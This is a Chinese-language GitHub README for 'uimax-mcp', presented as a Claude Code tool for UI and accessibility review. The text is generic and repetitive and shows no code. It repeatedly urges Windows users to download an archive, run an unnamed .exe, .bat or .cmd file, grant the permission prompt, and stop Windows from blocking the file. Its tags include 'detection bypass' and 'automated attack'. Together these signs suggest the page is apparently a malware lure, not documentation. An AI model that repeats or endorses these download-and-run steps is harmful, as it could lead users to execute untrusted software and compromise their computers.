Basifixed-pb747/uimax-mcp

# 🤖 uimax-mcp - 使用 Claude Code 修复前端问题 [](https://github.com/Basifixed-pb747/uimax-mcp) ## 🚀 uimax-mcp 的作用 uimax-mcp 将 Claude Code 转变为 UI 审查工具。它可以帮助检查网页、发现布局问题、标记可访问性问题并提出修复建议。它可以像前端开发者一样审查网站，然后帮助您优化页面。 当您需要以下帮助时可以使用它： - UI 检查 - 可访问性检查 - 前端审查 - 页面质量检查 - 网站行为审查 它专为那些希望获得网站或应用 UI 清晰反馈，而无需手动检查所有内容的人设计。 ## 📥 下载和设置 请使用此页面下载并设置应用程序： [Download uimax-mcp](https://github.com/Basifixed-pb747/uimax-mcp) 在 Windows 上按照以下步骤操作： 1. 在浏览器中打开下载链接。 2. 将文件保存到您稍后能找到的文件夹，例如 `Downloads` 或 `Desktop`。 3. 如果得到 ZIP 文件，右键点击并选择 **Extract All**（全部提取）。 4. 打开提取的文件夹。 5. 查找应用程序文件、安装程序或设置文件。 6. 双击文件以启动应用程序。 7. 如果 Windows 提示权限，请选择 **Yes**（是）。 如果应用程序在浏览器或终端窗口中启动，请在使用时保持该窗口打开。 ## 🪟 Windows 系统设置 在运行 uimax-mcp 之前，请确保您的 PC 已准备就绪。 您需要： - Windows 10 或 Windows 11 - 稳定的互联网连接 - 足够的磁盘空间用于应用程序和浏览器文件 - Google Chrome 或其他基于 Chromium 的浏览器 - 已安装并登录的 Claude Code - 运行应用程序的权限 为获得最佳效果： - 至少保留 2 GB 的可用空间 - 如果电脑运行缓慢，请关闭额外的浏览器标签页 - 使用较新的 Windows 版本 - 从本地文件夹运行应用程序，而不是在 ZIP 文件内运行 ## 🧭 用途 uimax-mcp 可以帮助完成常见的前端审查任务。当您需要时它会非常有用： - 检查按钮和链接是否易于使用 - 发现颜色对比问题 - 标记缺失的标签和文本 - 在桌面屏幕上审查页面布局 - 在发布前发现常见 UI 问题 - 查看页面在浏览器中的行为 - 从 AI 工具获取页面质量反馈 它非常适合在 Claude Code 查看页面、审查并提供可操作反馈的工作流程中使用。 ## 🛠️ 工作原理 uimax-mcp 将 Claude Code 连接到基于浏览器的页面审查工具。它可以使用网页检查和 UI 检查在真实浏览器会话中查看页面。 典型流程： 1. 启动应用程序或服务。 2. 打开 Claude Code。 3. 将 Claude Code 连接到 uimax-mcp。 4. 指向页面或本地应用程序。 5. 请求审查界面。 6. 阅读发现的问题并修复它们。 它适用于： - 使用 AI 帮助的手动 UI 审查 - 使用 axe 风格规则的辅助可访问性检查 - 页面审计 - 布局检查 - 前端调试支持 ## 🧩 主要功能 ### 🎯 UI 审查 检查页面的外观和感觉。它可以帮助发现间距、对齐和显示问题。 ### ♿ 可访问性审查 查找常见的访问问题，例如缺少标签、对比度弱或结构不良。 ### 🌐 基于浏览器的检查 使用浏览器会话，以便像用户一样查看页面。 ### 🔎 页面审计支持 帮助审查页面的质量问题，这些问题可能会影响用户体验。 ### 🧪 前端分析 帮助您检查页面行为、页面结构和常见 UI 错误。 ### 🧰 Claude Code 集成 与 Claude Code 配合使用，以便您可以用自然语言请求页面反馈。 ## 🪄 Windows 上的首次运行 下载项目后，请执行以下操作： 1. 打开包含文件的文件夹。 2. 查找应用程序启动文件或设置文件。 3. 双击它。 4. 等待 Windows 完成应用程序加载。 5. 如果浏览器打开，请保持打开状态。 6. 如果终端窗口打开，也请保持该窗口打开。 7. 打开 Claude Code 并将其连接到应用程序。 8. 使用简单的页面审查任务进行测试。 如果看到名为 `README`、`setup` 或 `start` 的文件，请打开它并遵循该文件夹中的本地步骤。 ## 🧠 使用场景示例 您可以使用 uimax-mcp 完成以下任务： - 在发布前审查着陆页 - 检查注册表单是否缺少标签 - 发现仪表板上的对比度问题 - 在桌面浏览器上检查移动布局 - 请 Claude Code 审查 React 页面 - 对 Web 应用程序运行快速 UI 审计 - 比较两个页面版本的视觉质量 ## 🖥️ 有用的文件夹布局 如果您希望在 Windows 上保持简单，可以使用如下文件夹结构： - `Downloads\uimax-mcp` - `Desktop\uimax-mcp` - `Documents\Tools\uimax-mcp` 将应用程序保留在一个位置，以便日后可以轻松找到。 ## 🔐 安全使用您的电脑 运行任何下载的应用程序时： - 从官方仓库链接打开文件 - 保持浏览器更新 - 使用您的常规 Windows 账户 - 完成后关闭应用程序 - 删除不再需要的文件 ## 🧾 项目围绕的内容 该项目专注于： - 可访问性 - axe-core 风格检查 - Claude 和 Claude Code - 代码分析 - 设计审查 - 前端工作 - Lighthouse 风格审计 - 模型上下文协议支持 - 基于 Puppeteer 的浏览器控制 - UI 审查 这使得它非常适合任何希望在不手动深入研究技术工具的情况下检查网页的人。 ## 📌 基本工作流程 1. 从上方链接下载项目。 2. 在 Windows 上解压或打开文件。 3. 启动应用程序。 4. 打开 Claude Code。 5. 将 Claude Code 连接到 uimax-mcp。 6. 请求审查您的页面。 7. 阅读反馈。 8. 执行您想要保留的 UI 修复。 ## 🧷 可能看到的文件类型 根据项目的打包方式，您可能会看到： - `.exe` - `.zip` - `.bat` - `.cmd` - `.json` - `.js` - `.md` 如果看到 ZIP 文件，请先提取它。如果看到脚本文件，请从提取的文件夹中运行它。 ## 📍 获取应用程序 从这里下载应用程序： [https://github.com/Basifixed-pb747/uimax-mcp](https://github.com/Basifixed-pb747/uimax-mcp) ## 🪟 如果无法打开的 Windows 提示 如果应用程序无法启动： - 检查是否已提取 ZIP 文件 - 尝试以普通用户身份再次运行 - 确保 Windows 未阻止该文件 - 确认 Claude Code 已安装 - 重启浏览器并重试 - 将应用程序文件夹保存在简单路径中，例如 `C:\uimax-mcp` ## 🔧 常见审查任务 uimax-mcp 可以帮助完成： - 页面扫描 - 布局检查 - 可访问性检查 - 前端问题审查 - 浏览器检查 - UI 清理 - 审计反馈 - 逐屏检查 ## 📎 快速开始 1. 打开下载链接。 2. 下载仓库文件。 3. 在 Windows 上打开文件夹。 4. 启动应用程序或设置文件。 5. 打开 Claude Code。 6. 将其连接到 uimax-mcp。 7. 请求 UI 审查。

标签：Claude Code, Lighthouse, MCP, SEO分析, UI审查, Web可访问性, 代码审查工具, 前端审查, 前端质量, 可访问性检查, 布局问题, 开发效率, 性能优化, 截图对比, 数据可视化, 检测绕过, 用户反馈, 网络可观测性, 自动化反馈, 自动化攻击, 辅助开发, 页面质量